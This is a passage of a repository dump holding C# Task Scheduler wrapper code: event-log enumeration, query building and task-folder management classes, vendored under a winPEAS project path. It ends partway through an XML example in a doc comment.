EventLogPropertySelector(new[] { $\"Event/EventData/Data[@Name='{propertyName}']\" });\n                    try\n                    {\n                        var logEventProps = rec.GetPropertyValues(propsel);\n                        return logEventProps[0].ToString();\n                    }\n                    catch { }\n                    return null;\n                }\n            }\n        }\n    }\n\n    /// <summary>\n    /// An enumerator over a task's history of events.\n    /// </summary>\n    public sealed class TaskEventEnumerator : IEnumerator<TaskEvent>\n    {\n        private EventRecord curRec;\n        private EventLogReader log;\n\n        internal TaskEventEnumerator([NotNull] EventLogReader log)\n        {\n            this.log = log;\n        }\n\n        /// <summary>\n        /// Gets the element in the collection at the current position of the enumerator.\n        /// </summary>\n        /// <returns>\n        /// The element in the collection at the current position of the enumerator.\n        ///   </returns>\n        public TaskEvent Current => new TaskEvent(curRec);\n\n        /// <summary>\n        /// Gets the element in the collection at the current position of the enumerator.\n        /// </summary>\n        /// <returns>\n        /// The element in the collection at the current position of the enumerator.\n        ///   </returns>\n        object System.Collections.IEnumerator.Current => Current;\n\n        /// <summary>\n        /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.\n        /// </summary>\n        public void Dispose()\n        {\n            log.CancelReading();\n            log.Dispose();\n            log = null;\n        }\n\n        /// <summary>\n        /// Advances the enumerator to the next element of the collection.\n        /// </summary>\n        /// <returns>\n        /// true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection.\n        /// </returns>\n        /// <exception cref=\"T:System.InvalidOperationException\">\n        /// The collection was modified after the enumerator was created.\n        ///   </exception>\n        public bool MoveNext() => (curRec = log.ReadEvent()) != null;\n\n        /// <summary>\n        /// Sets the enumerator to its initial position, which is before the first element in the collection.\n        /// </summary>\n        /// <exception cref=\"T:System.InvalidOperationException\">\n        /// The collection was modified after the enumerator was created.\n        ///   </exception>\n        public void Reset()\n        {\n            log.Seek(System.IO.SeekOrigin.Begin, 0L);\n        }\n\n        /// <summary>\n        /// Seeks the specified bookmark.\n        /// </summary>\n        /// <param name=\"bookmark\">The bookmark.</param>\n        /// <param name=\"offset\">The offset.</param>\n        public void Seek(EventBookmark bookmark, long offset = 0L)\n        {\n            log.Seek(bookmark, offset);\n        }\n\n        /// <summary>\n        /// Seeks the specified origin.\n        /// </summary>\n        /// <param name=\"origin\">The origin.</param>\n        /// <param name=\"offset\">The offset.</param>\n        public void Seek(System.IO.SeekOrigin origin, long offset)\n        {\n            log.Seek(origin, offset);\n        }\n    }\n\n    /// <summary>\n    /// Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems.\n    /// </summary>\n    /// <remarks>Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality.</remarks>\n    /// <example><code lang=\"cs\"><![CDATA[\n    /// // Create a log instance for the Maint task in the root directory\n    /// TaskEventLog log = new TaskEventLog(@\"\\Maint\",\n    ///    // Specify the event id(s) you want to enumerate\n    ///    new int[] { 141 /* TaskDeleted */, 201 /* ActionSuccess */ },\n    ///    // Specify the start date of the events to enumerate. Here, we look at the last week.\n    ///    DateTime.Now.AddDays(-7));\n    /// \n    /// // Tell the enumerator to expose events 'newest first'\n    /// log.EnumerateInReverse = false;\n    /// \n    /// // Enumerate the events\n    /// foreach (TaskEvent ev in log)\n    /// {\n    ///    // TaskEvents can interpret event ids into a well known, readable, enumerated type\n    ///    if (ev.StandardEventId == StandardTaskEventId.TaskDeleted)\n    ///       output.WriteLine($\"  Task '{ev.TaskPath}' was deleted\");\n    /// \n    ///    // TaskEvent exposes a number of properties regarding the event\n    ///    else if (ev.EventId == 201)\n    ///       output.WriteLine($\"  Completed action '{ev.DataValues[\"ActionName\"]}',\n    ///          ({ev.DataValues[\"ResultCode\"]}) at {ev.TimeCreated.Value}.\");\n    /// }\n    /// ]]></code></example>\n    public sealed class TaskEventLog : IEnumerable<TaskEvent>\n    {\n        private const string TSEventLogPath = \"Microsoft-Windows-TaskScheduler/Operational\";\n        private static readonly bool IsVistaOrLater = Environment.OSVersion.Version.Major >= 6;\n\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"TaskEventLog\"/> class.\n        /// </summary>\n        /// <param name=\"taskPath\">The task path. This can be retrieved using the <see cref=\"Task.Path\"/> property.</param>\n        /// <exception cref=\"NotSupportedException\">Thrown when instantiated on an OS prior to Windows Vista.</exception>\n        public TaskEventLog([CanBeNull] string taskPath) : this(\".\", taskPath)\n        {\n            Initialize(\".\", BuildQuery(taskPath), true);\n        }\n\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"TaskEventLog\" /> class.\n        /// </summary>\n        /// <param name=\"machineName\">Name of the machine.</param>\n        /// <param name=\"taskPath\">The task path. This can be retrieved using the <see cref=\"Task.Path\" /> property.</param>\n        /// <param name=\"domain\">The domain.</param>\n        /// <param name=\"user\">The user.</param>\n        /// <param name=\"password\">The password.</param>\n        /// <exception cref=\"NotSupportedException\">Thrown when instantiated on an OS prior to Windows Vista.</exception>\n        public TaskEventLog([NotNull] string machineName, [CanBeNull] string taskPath, string domain = null, string user = null, string password = null)\n        {\n            Initialize(machineName, BuildQuery(taskPath), true, domain, user, password);\n        }\n\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"TaskEventLog\" /> class that looks at all task events from a specified time.\n        /// </summary>\n        /// <param name=\"startTime\">The start time.</param>\n        /// <param name=\"taskName\">Name of the task.</param>\n        /// <param name=\"machineName\">Name of the machine (optional).</param>\n        /// <param name=\"domain\">The domain.</param>\n        /// <param name=\"user\">The user.</param>\n        /// <param name=\"password\">The password.</param>\n        public TaskEventLog(DateTime startTime, string taskName = null, string machineName = null, string domain = null, string user = null, string password = null)\n        {\n            int[] numArray = new int[] { 100, 102, 103, 107, 108, 109, 111, 117, 118, 119, 120, 121, 122, 123, 124, 125 };\n            Initialize(machineName, BuildQuery(taskName, numArray, startTime), false, domain, user, password);\n        }\n\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"TaskEventLog\"/> class.\n        /// </summary>\n        /// <param name=\"taskName\">Name of the task.</param>\n        /// <param name=\"eventIDs\">The event ids.</param>\n        /// <param name=\"startTime\">The start time.</param>\n        /// <param name=\"machineName\">Name of the machine (optional).</param>\n        /// <param name=\"domain\">The domain.</param>\n        /// <param name=\"user\">The user.</param>\n        /// <param name=\"password\">The password.</param>\n        public TaskEventLog(string taskName = null, int[] eventIDs = null, DateTime? startTime = null, string machineName = null, string domain = null, string user = null, string password = null)\n        {\n            Initialize(machineName, BuildQuery(taskName, eventIDs, startTime), true, domain, user, password);\n        }\n\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"TaskEventLog\" /> class.\n        /// </summary>\n        /// <param name=\"taskName\">Name of the task.</param>\n        /// <param name=\"eventIDs\">The event ids.</param>\n        /// <param name=\"levels\">The levels.</param>\n        /// <param name=\"startTime\">The start time.</param>\n        /// <param name=\"machineName\">Name of the machine (optional).</param>\n        /// <param name=\"domain\">The domain.</param>\n        /// <param name=\"user\">The user.</param>\n        /// <param name=\"password\">The password.</param>\n        public TaskEventLog(string taskName = null, int[] eventIDs = null, int[] levels = null, DateTime? startTime = null, string machineName = null, string domain = null, string user = null, string password = null)\n        {\n            Initialize(machineName, BuildQuery(taskName, eventIDs, startTime, levels), true, domain, user, password);\n        }\n\n        internal static string BuildQuery(string taskName = null, int[] eventIDs = null, DateTime? startTime = null, int[] levels = null)\n        {\n            const string queryString =\n                \"<QueryList>\" +\n                \"  <Query Id=\\\"0\\\" Path=\\\"\" + TSEventLogPath + \"\\\">\" +\n                \"    <Select Path=\\\"\" + TSEventLogPath + \"\\\">{0}</Select>\" +\n                \"  </Query>\" +\n                \"</QueryList>\";\n            const string OR = \" or \";\n            const string AND = \" and \";\n\n            System.Text.StringBuilder sb = new System.Text.StringBuilder(\"*\");\n            if (eventIDs != null && eventIDs.Length > 0)\n            {\n                if (sb.Length > 1) sb.Append(AND);\n                sb.AppendFormat(\"({0})\", string.Join(OR, Array.ConvertAll(eventIDs, i => $\"EventID={i}\")));\n            }\n            if (levels != null && levels.Length > 0)\n            {\n                if (sb.Length > 1) sb.Append(AND);\n                sb.AppendFormat(\"({0})\", string.Join(OR, Array.ConvertAll(levels, i => $\"Level={i}\")));\n            }\n            if (startTime.HasValue)\n            {\n                if (sb.Length > 1) sb.Append(AND);\n                sb.AppendFormat(\"TimeCreated[@SystemTime>='{0}']\", System.Xml.XmlConvert.ToString(startTime.Value, System.Xml.XmlDateTimeSerializationMode.RoundtripKind));\n            }\n            if (sb.Length > 1)\n            {\n                sb.Insert(1, \"[System[Provider[@Name='Microsoft-Windows-TaskScheduler'] and \");\n                sb.Append(']');\n            }\n            if (!string.IsNullOrEmpty(taskName))\n            {\n                if (sb.Length == 1)\n                    sb.Append('[');\n                else\n                    sb.Append(\"]\" + AND + \"*[\");\n                sb.AppendFormat(\"EventData[Data[@Name='TaskName']='{0}']\", taskName);\n            }\n            if (sb.Length > 1)\n                sb.Append(']');\n            return string.Format(queryString, sb);\n        }\n\n        private void Initialize(string machineName, string query, bool revDir, string domain = null, string user = null, string password = null)\n        {\n            if (!IsVistaOrLater)\n                throw new NotSupportedException(\"Enumeration of task history not available on systems prior to Windows Vista and Windows Server 2008.\");\n\n            System.Security.SecureString spwd = null;\n            if (password != null)\n            {\n                spwd = new System.Security.SecureString();\n                foreach (char c in password)\n                    spwd.AppendChar(c);\n            }\n\n            Query = new EventLogQuery(TSEventLogPath, PathType.LogName, query) { ReverseDirection = revDir };\n            if (machineName != null && machineName != \".\" && !machineName.Equals(Environment.MachineName, StringComparison.InvariantCultureIgnoreCase))\n                Query.Session = new EventLogSession(machineName, domain, user, spwd, SessionAuthentication.Default);\n        }\n\n        /// <summary>\n        /// Gets the total number of events for this task.\n        /// </summary>\n        public long Count\n        {\n            get\n            {\n                using (EventLogReader log = new EventLogReader(Query))\n                {\n                    long seed = 64L, l = 0L, h = seed;\n                    while (log.ReadEvent() != null)\n                        log.Seek(System.IO.SeekOrigin.Begin, l += seed);\n                    bool foundLast = false;\n                    while (l > 0L && h >= 1L)\n                    {\n                        if (foundLast)\n                            l += (h /= 2L);\n                        else\n                            l -= (h /= 2L);\n                        log.Seek(System.IO.SeekOrigin.Begin, l);\n                        foundLast = (log.ReadEvent() != null);\n                    }\n                    return foundLast ? l + 1L : l;\n                }\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a value indicating whether this <see cref=\"TaskEventLog\" /> is enabled.\n        /// </summary>\n        /// <value>\n        /// <c>true</c> if enabled; otherwise, <c>false</c>.\n        /// </value>\n        public bool Enabled\n        {\n            get\n            {\n                if (!IsVistaOrLater)\n                    return false;\n                using (var cfg = new EventLogConfiguration(TSEventLogPath, Query.Session))\n                    return cfg.IsEnabled;\n            }\n            set\n            {\n                if (!IsVistaOrLater)\n                    throw new NotSupportedException(\"Task history not available on systems prior to Windows Vista and Windows Server 2008.\");\n                using (var cfg = new EventLogConfiguration(TSEventLogPath, Query.Session))\n                {\n                    if (cfg.IsEnabled != value)\n                    {\n                        cfg.IsEnabled = value;\n                        cfg.SaveChanges();\n                    }\n                }\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement).\n        /// </summary>\n        /// <value>\n        ///   <c>true</c> if enumerates in reverse (newest to oldest) by default; otherwise, <c>false</c> to enumerate oldest to newest.\n        /// </value>\n        [System.ComponentModel.DefaultValue(false)]\n        public bool EnumerateInReverse { get; set; }\n\n        /// <summary>\n        /// Returns an enumerator that iterates through the collection.\n        /// </summary>\n        /// <returns>\n        /// A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n        /// </returns>\n        IEnumerator<TaskEvent> IEnumerable<TaskEvent>.GetEnumerator() => GetEnumerator(EnumerateInReverse);\n\n        /// <summary>\n        /// Returns an enumerator that iterates through the collection.\n        /// </summary>\n        /// <param name=\"reverse\">if set to <c>true</c> reverse.</param>\n        /// <returns>\n        /// A <see cref=\"TaskEventEnumerator\" /> that can be used to iterate through the collection.\n        /// </returns>\n        [NotNull]\n        public TaskEventEnumerator GetEnumerator(bool reverse)\n        {\n            Query.ReverseDirection = !reverse;\n            return new TaskEventEnumerator(new EventLogReader(Query));\n        }\n\n        /// <summary>\n        /// Returns an enumerator that iterates through a collection.\n        /// </summary>\n        /// <returns>\n        /// An <see cref=\"T:System.Collections.IEnumerator\"/> object that can be used to iterate through the collection.\n        /// </returns>\n        System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator(false);\n\n        internal EventLogQuery Query { get; private set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskFolder.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\nusing System.Text.RegularExpressions;\nusing winPEAS.TaskScheduler.V1;\nusing winPEAS.TaskScheduler.V2;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>\n    /// Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder.\n    /// </summary>\n    [PublicAPI]\n    public sealed class TaskFolder : IDisposable, IComparable<TaskFolder>\n    {\n        private ITaskScheduler v1List;\n        private readonly ITaskFolder v2Folder;\n\n        internal const string rootString = @\"\\\";\n\n        internal TaskFolder([NotNull] TaskService svc)\n        {\n            TaskService = svc;\n            v1List = svc.v1TaskScheduler;\n        }\n\n        internal TaskFolder([NotNull] TaskService svc, [NotNull] ITaskFolder iFldr)\n        {\n            TaskService = svc;\n            v2Folder = iFldr;\n        }\n\n        /// <summary>\n        /// Releases all resources used by this class.\n        /// </summary>\n        public void Dispose()\n        {\n            if (v2Folder != null)\n                Marshal.ReleaseComObject(v2Folder);\n            v1List = null;\n        }\n\n        /// <summary>\n        /// Gets a <see cref=\"System.Collections.Generic.IEnumerator{Task}\"/> which enumerates all the tasks in this and all subfolders.\n        /// </summary>\n        /// <value>\n        /// A <see cref=\"System.Collections.Generic.IEnumerator{Task}\"/> for all <see cref=\"Task\"/> instances.\n        /// </value>\n        [NotNull, ItemNotNull]\n        public IEnumerable<Task> AllTasks => EnumerateFolderTasks(this);\n\n        /// <summary>\n        /// Gets the name that is used to identify the folder that contains a task.\n        /// </summary>\n        [NotNull]\n        public string Name => (v2Folder == null) ? rootString : v2Folder.Name;\n\n        /// <summary>\n        /// Gets the parent folder of this folder.\n        /// </summary>\n        /// <value>\n        /// The parent folder, or <c>null</c> if this folder is the root folder.\n        /// </value>\n        public TaskFolder Parent\n        {\n            get\n            {\n                // V1 only has the root folder\n                if (v2Folder == null)\n                    return null;\n\n                string path = v2Folder.Path;\n                string parentPath = System.IO.Path.GetDirectoryName(path);\n                if (string.IsNullOrEmpty(parentPath))\n                    return null;\n                return TaskService.GetFolder(parentPath);\n            }\n        }\n\n        /// <summary>\n        /// Gets the path to where the folder is stored.\n        /// </summary>\n        [NotNull]\n        public string Path => (v2Folder == null) ? rootString : v2Folder.Path;\n\n        [NotNull]\n        internal TaskFolder GetFolder([NotNull] string path)\n        {\n            if (v2Folder != null)\n                return new TaskFolder(TaskService, v2Folder.GetFolder(path));\n            throw new NotV1SupportedException();\n        }\n\n        /// <summary>\n        /// Gets or sets the security descriptor of the task.\n        /// </summary>\n        /// <value>The security descriptor.</value>\n        [Obsolete(\"This property will be removed in deference to the GetAccessControl, GetSecurityDescriptorSddlForm, SetAccessControl and SetSecurityDescriptorSddlForm methods.\")]\n        public GenericSecurityDescriptor SecurityDescriptor\n        {\n#pragma warning disable 0618\n            get { return GetSecurityDescriptor(); }\n            set { SetSecurityDescriptor(value); }\n#pragma warning restore 0618\n        }\n\n        /// <summary>\n        /// Gets all the subfolders in the folder.\n        /// </summary>\n        [NotNull, ItemNotNull]\n        public TaskFolderCollection SubFolders\n        {\n            get\n            {\n                try\n                {\n                    if (v2Folder != null)\n                        return new TaskFolderCollection(this, v2Folder.GetFolders(0));\n                }\n                catch { }\n                return new TaskFolderCollection();\n            }\n        }\n\n        /// <summary>\n        /// Gets a collection of all the tasks in the folder.\n        /// </summary>\n        [NotNull, ItemNotNull]\n        public TaskCollection Tasks => GetTasks();\n\n        /// <summary>\n        /// Gets or sets the <see cref=\"TaskService\"/> that manages this task.\n        /// </summary>\n        /// <value>The task service.</value>\n        public TaskService TaskService { get; }\n\n        /// <summary>\n        /// Compares the current object with another object of the same type.\n        /// </summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns>\n        /// A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the <paramref name=\"other\" /> parameter.Zero This object is equal to <paramref name=\"other\" />. Greater than zero This object is greater than <paramref name=\"other\" />.\n        /// </returns>\n        int IComparable<TaskFolder>.CompareTo(TaskFolder other) => string.Compare(Path, other.Path, true);\n\n        /// <summary>\n        /// Creates a folder for related tasks. Not available to Task Scheduler 1.0.\n        /// </summary>\n        /// <param name=\"subFolderName\">The name used to identify the folder. If \"FolderName\\SubFolder1\\SubFolder2\" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current <see cref=\"TaskFolder\"/> instance. The root task folder is specified with a backslash (\\). An example of a task folder path, under the root task folder, is \\MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>\n        /// <param name=\"sd\">The security descriptor associated with the folder.</param>\n        /// <returns>A <see cref=\"TaskFolder\"/> instance that represents the new subfolder.</returns>\n        [Obsolete(\"This method will be removed in deference to the CreateFolder(string, TaskSecurity) method.\")]\n        public TaskFolder CreateFolder([NotNull] string subFolderName, GenericSecurityDescriptor sd) => CreateFolder(subFolderName, sd == null ? null : sd.GetSddlForm(Task.defaultAccessControlSections));\n\n        /// <summary>\n        /// Creates a folder for related tasks. Not available to Task Scheduler 1.0.\n        /// </summary>\n        /// <param name=\"subFolderName\">The name used to identify the folder. If \"FolderName\\SubFolder1\\SubFolder2\" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current <see cref=\"TaskFolder\"/> instance. The root task folder is specified with a backslash (\\). An example of a task folder path, under the root task folder, is \\MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>\n        /// <param name=\"folderSecurity\">The task security associated with the folder.</param>\n        /// <returns>A <see cref=\"TaskFolder\"/> instance that represents the new subfolder.</returns>\n        public TaskFolder CreateFolder([NotNull] string subFolderName, [NotNull] TaskSecurity folderSecurity)\n        {\n            if (folderSecurity == null)\n                throw new ArgumentNullException(nameof(folderSecurity));\n            return CreateFolder(subFolderName, folderSecurity.GetSecurityDescriptorSddlForm(Task.defaultAccessControlSections));\n        }\n\n        /// <summary>\n        /// Creates a folder for related tasks. Not available to Task Scheduler 1.0.\n        /// </summary>\n        /// <param name=\"subFolderName\">The name used to identify the folder. If \"FolderName\\SubFolder1\\SubFolder2\" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current <see cref=\"TaskFolder\" /> instance. The root task folder is specified with a backslash (\\). An example of a task folder path, under the root task folder, is \\MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>\n        /// <param name=\"sddlForm\">The security descriptor associated with the folder.</param>\n        /// <param name=\"exceptionOnExists\">Set this value to false to avoid having an exception called if the folder already exists.</param>\n        /// <returns>A <see cref=\"TaskFolder\" /> instance that represents the new subfolder.</returns>\n        /// <exception cref=\"System.Security.SecurityException\">Security descriptor mismatch between specified credentials and credentials on existing folder by same name.</exception>\n        /// <exception cref=\"System.ArgumentException\">Invalid SDDL form.</exception>\n        /// <exception cref=\"Microsoft.Win32.TaskScheduler.NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        public TaskFolder CreateFolder([NotNull] string subFolderName, string sddlForm = null, bool exceptionOnExists = true)\n        {\n            if (v2Folder == null) throw new NotV1SupportedException();\n            ITaskFolder ifld = null;\n            try { ifld = v2Folder.CreateFolder(subFolderName, sddlForm); }\n            catch (COMException ce)\n            {\n                int serr = ce.ErrorCode & 0x0000FFFF;\n                if (serr == 0xb7) // ERROR_ALREADY_EXISTS\n                {\n                    if (exceptionOnExists) throw;\n                    try\n                    {\n                        ifld = v2Folder.GetFolder(subFolderName);\n                        if (ifld != null && sddlForm != null && sddlForm.Trim().Length > 0)\n                        {\n                            string sd = ifld.GetSecurityDescriptor((int)Task.defaultSecurityInfosSections);\n                            if (string.Compare(sddlForm, sd, StringComparison.OrdinalIgnoreCase) != 0)\n                                throw new SecurityException(\"Security descriptor mismatch between specified credentials and credentials on existing folder by same name.\");\n                        }\n                    }\n                    catch\n                    {\n                        if (ifld != null)\n                            Marshal.ReleaseComObject(ifld);\n                        throw;\n                    }\n                }\n                else if (serr == 0x534 || serr == 0x538 || serr == 0x539 || serr == 0x53A || serr == 0x519 || serr == 0x57)\n                    throw new ArgumentException(@\"Invalid SDDL form\", nameof(sddlForm), ce);\n                else\n                    throw;\n            }\n            return new TaskFolder(TaskService, ifld);\n        }\n\n        /// <summary>\n        /// Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0.\n        /// </summary>\n        /// <param name=\"subFolderName\">The name of the subfolder to be removed. The root task folder is specified with a backslash (\\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \\MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>\n        /// <param name=\"exceptionOnNotExists\">Set this value to false to avoid having an exception called if the folder does not exist.</param>\n        /// <exception cref=\"Microsoft.Win32.TaskScheduler.NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        public void DeleteFolder([NotNull] string subFolderName, bool exceptionOnNotExists = true)\n        {\n            if (v2Folder != null)\n            {\n                try\n                {\n                    v2Folder.DeleteFolder(subFolderName, 0);\n                }\n                catch (Exception e)\n                {\n                    if (!(e is FileNotFoundException || e is DirectoryNotFoundException) || exceptionOnNotExists)\n                        throw;\n                }\n            }\n            else\n                throw new NotV1SupportedException();\n        }\n\n        /// <summary>Deletes a task from the folder.</summary>\n        /// <param name=\"name\">\n        /// The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..'\n        /// characters cannot be used to specify the parent task folder in the path.\n        /// </param>\n        /// <param name=\"exceptionOnNotExists\">Set this value to false to avoid having an exception called if the task does not exist.</param>\n        public void DeleteTask([NotNull] string name, bool exceptionOnNotExists = true)\n        {\n            try\n            {\n                if (v2Folder != null)\n                    v2Folder.DeleteTask(name, 0);\n                else\n                {\n                    if (!name.EndsWith(\".job\", StringComparison.CurrentCultureIgnoreCase))\n                        name += \".job\";\n                    v1List.Delete(name);\n                }\n            }\n            catch (FileNotFoundException)\n            {\n                if (exceptionOnNotExists)\n                    throw;\n            }\n        }\n\n        /// <summary>Returns an enumerable collection of folders that matches a specified filter and recursion option.</summary>\n        /// <param name=\"filter\">An optional predicate used to filter the returned <see cref=\"TaskFolder\"/> instances.</param>\n        /// <returns>An enumerable collection of folders that matches <paramref name=\"filter\"/>.</returns>\n        [NotNull, ItemNotNull]\n        public IEnumerable<TaskFolder> EnumerateFolders(Predicate<TaskFolder> filter = null)\n        {\n            foreach (var fld in SubFolders)\n            {\n                if (filter == null || filter(fld))\n                    yield return fld;\n            }\n        }\n\n        /// <summary>Returns an enumerable collection of tasks that matches a specified filter and recursion option.</summary>\n        /// <param name=\"filter\">An optional predicate used to filter the returned <see cref=\"Task\"/> instances.</param>\n        /// <param name=\"recurse\">Specifies whether the enumeration should include tasks in any subfolders.</param>\n        /// <returns>An enumerable collection of directories that matches <paramref name=\"filter\"/> and <paramref name=\"recurse\"/>.</returns>\n        [NotNull, ItemNotNull]\n        public IEnumerable<Task> EnumerateTasks(Predicate<Task> filter = null, bool recurse = false) => EnumerateFolderTasks(this, filter, recurse);\n\n        /// <summary>Determines whether the specified <see cref=\"System.Object\"/>, is equal to this instance.</summary>\n        /// <param name=\"obj\">The <see cref=\"System.Object\"/> to compare with this instance.</param>\n        /// <returns><c>true</c> if the specified <see cref=\"System.Object\"/> is equal to this instance; otherwise, <c>false</c>.</returns>\n        public override bool Equals(object obj)\n        {\n            var folder = obj as TaskFolder;\n            if (folder != null)\n                return Path == folder.Path && TaskService.TargetServer == folder.TaskService.TargetServer && GetSecurityDescriptorSddlForm() == folder.GetSecurityDescriptorSddlForm();\n            return false;\n        }\n\n        /// <summary>\n        /// Gets a <see cref=\"TaskSecurity\"/> object that encapsulates the specified type of access control list (ACL) entries for the task described by the\n        /// current <see cref=\"TaskFolder\"/> object.\n        /// </summary>\n        /// <returns>A <see cref=\"TaskSecurity\"/> object that encapsulates the access control rules for the current folder.</returns>\n        [NotNull]\n        public TaskSecurity GetAccessControl() => GetAccessControl(Task.defaultAccessControlSections);\n\n        /// <summary>\n        /// Gets a <see cref=\"TaskSecurity\"/> object that encapsulates the specified type of access control list (ACL) entries for the task folder described by\n        /// the current <see cref=\"TaskFolder\"/> object.\n        /// </summary>\n        /// <param name=\"includeSections\">\n        /// One of the <see cref=\"System.Security.AccessControl.AccessControlSections\"/> values that specifies which group of access control entries to retrieve.\n        /// </param>\n        /// <returns>A <see cref=\"TaskSecurity\"/> object that encapsulates the access control rules for the current folder.</returns>\n        [NotNull]\n        public TaskSecurity GetAccessControl(AccessControlSections includeSections) => new TaskSecurity(this, includeSections);\n\n        /// <summary>Returns a hash code for this instance.</summary>\n        /// <returns>A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table.</returns>\n        public override int GetHashCode() => new { A = Path, B = TaskService.TargetServer, C = GetSecurityDescriptorSddlForm() }.GetHashCode();\n\n        /// <summary>Gets the security descriptor for the folder. Not available to Task Scheduler 1.0.</summary>\n        /// <param name=\"includeSections\">Section(s) of the security descriptor to return.</param>\n        /// <returns>The security descriptor for the folder.</returns>\n        [Obsolete(\"This method will be removed in deference to the GetAccessControl and GetSecurityDescriptorSddlForm methods.\")]\n        public GenericSecurityDescriptor GetSecurityDescriptor(SecurityInfos includeSections = Task.defaultSecurityInfosSections) => new RawSecurityDescriptor(GetSecurityDescriptorSddlForm(includeSections));\n\n        /// <summary>\n        /// Gets the security descriptor for the folder. Not available to Task Scheduler 1.0.\n        /// </summary>\n        /// <param name=\"includeSections\">Section(s) of the security descriptor to return.</param>\n        /// <returns>The security descriptor for the folder.</returns>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        public string GetSecurityDescriptorSddlForm(SecurityInfos includeSections = Task.defaultSecurityInfosSections)\n        {\n            if (v2Folder != null)\n                return v2Folder.GetSecurityDescriptor((int)includeSections);\n            throw new NotV1SupportedException();\n        }\n\n        /// <summary>\n        /// Gets a collection of all the tasks in the folder whose name matches the optional <paramref name=\"filter\"/>.\n        /// </summary>\n        /// <param name=\"filter\">The optional name filter expression.</param>\n        /// <returns>Collection of all matching tasks.</returns>\n        [NotNull, ItemNotNull]\n        public TaskCollection GetTasks(Regex filter = null)\n        {\n            if (v2Folder != null)\n                return new TaskCollection(this, v2Folder.GetTasks(1), filter);\n            return new TaskCollection(TaskService, filter);\n        }\n\n        /// <summary>Imports a <see cref=\"Task\" /> from an XML file.</summary>\n        /// <param name=\"path\">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>\n        /// <param name=\"xmlFile\">The file containing the XML-formatted definition of the task.</param>\n        /// <param name=\"overwriteExisting\">If set to <see langword=\"true\" />, overwrites any existing task with the same name.</param>\n        /// <returns>A <see cref=\"Task\" /> instance that represents the new task.</returns>\n        /// <exception cref=\"NotV1SupportedException\">Importing from an XML file is only supported under Task Scheduler 2.0.</exception>\n        public Task ImportTask(string path, [NotNull] string xmlFile, bool overwriteExisting = true) => RegisterTask(path, File.ReadAllText(xmlFile), overwriteExisting ? TaskCreation.CreateOrUpdate : TaskCreation.Create);\n\n        /// <summary>\n        /// Registers (creates) a new task in the folder using XML to define the task.\n        /// </summary>\n        /// <param name=\"path\">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>\n        /// <param name=\"xmlText\">An XML-formatted definition of the task.</param>\n        /// <param name=\"createType\">A union of <see cref=\"TaskCreation\"/> flags.</param>\n        /// <param name=\"userId\">The user credentials used to register the task.</param>\n        /// <param name=\"password\">The password for the userId used to register the task.</param>\n        /// <param name=\"logonType\">A <see cref=\"TaskLogonType\"/> value that defines what logon technique is used to run the registered task.</param>\n        /// <param name=\"sddl\">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>\n        /// <returns>A <see cref=\"Task\"/> instance that represents the new task.</returns>\n        /// <example><code lang=\"cs\"><![CDATA[\n        /// // Define a basic task in XML\n        /// var xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-16\\\"?>\" +\n        ///    \"<Task version=\\\"1.2\\\" xmlns=\\\"http://schemas.microsoft.com/windows/2004/02/mit/task\\\">\" +\n        ///    \"  <Principals>\" +\n        ///    \"    <Principal id=\\\"Author\\\">\" +\n        ///    \"      <UserId>S-1-5-18</UserId>\" +\n        ///    \"    </Principal>\" +\n        ///    \"  </Principals>\" +\n        ///    \"  <Triggers>\" +\n        ///    \"    <CalendarTrigger>\" +\n        ///    \"      <StartBoundary>2017-09-04T14:04:03</StartBoundary>\" +\n        ///    \"      